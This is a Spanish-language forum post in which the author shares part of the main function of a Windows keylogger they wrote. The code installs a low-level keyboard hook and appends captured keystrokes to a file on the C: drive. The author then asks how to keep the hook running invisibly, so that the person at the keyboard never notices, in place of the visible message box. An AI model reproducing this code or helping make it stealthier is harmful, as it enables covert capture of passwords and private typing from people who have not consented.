Ésto es parte de la función principal (WinMain) de mi keylogger
Código:
f = fopen ("C:/KEYS.TXT", "a+");
if (f==NULL){
exit(0);
}
HHOOK keyboardHook = SetWindowsHookEx (WH_KEYBOARD_LL, HookKey, hInstance, 0);
MessageBox(NULL, L"Click to exit", L"Keylogger", NULL);
UnhookWindowsHookEx(keyboardHook);
fclose(f);
return 0;
Tengo que utilizar MessageBox() porque necesito que el programa se ejecute infinitamente. Aún así, MessageBox() no es muy bueno para mi keylogger ya que muestra un mensaje por pantalla (como es lógico). Aún así, he estado buscando y no encuentro otra función (o líneas de código) que hagan que el hook permanezca siempre sin que el usuario se de cuenta.
Mi código compila y guarda todo lo que el usuario escribe en un fichero. Aún así, el problema es éste que describo, que mientras el keylogger se está ejecutando, se muestra por pantalla el cuadro de diálogo originado por MessageBox().
A ver si alguien tiene alguna idea.
Gracias!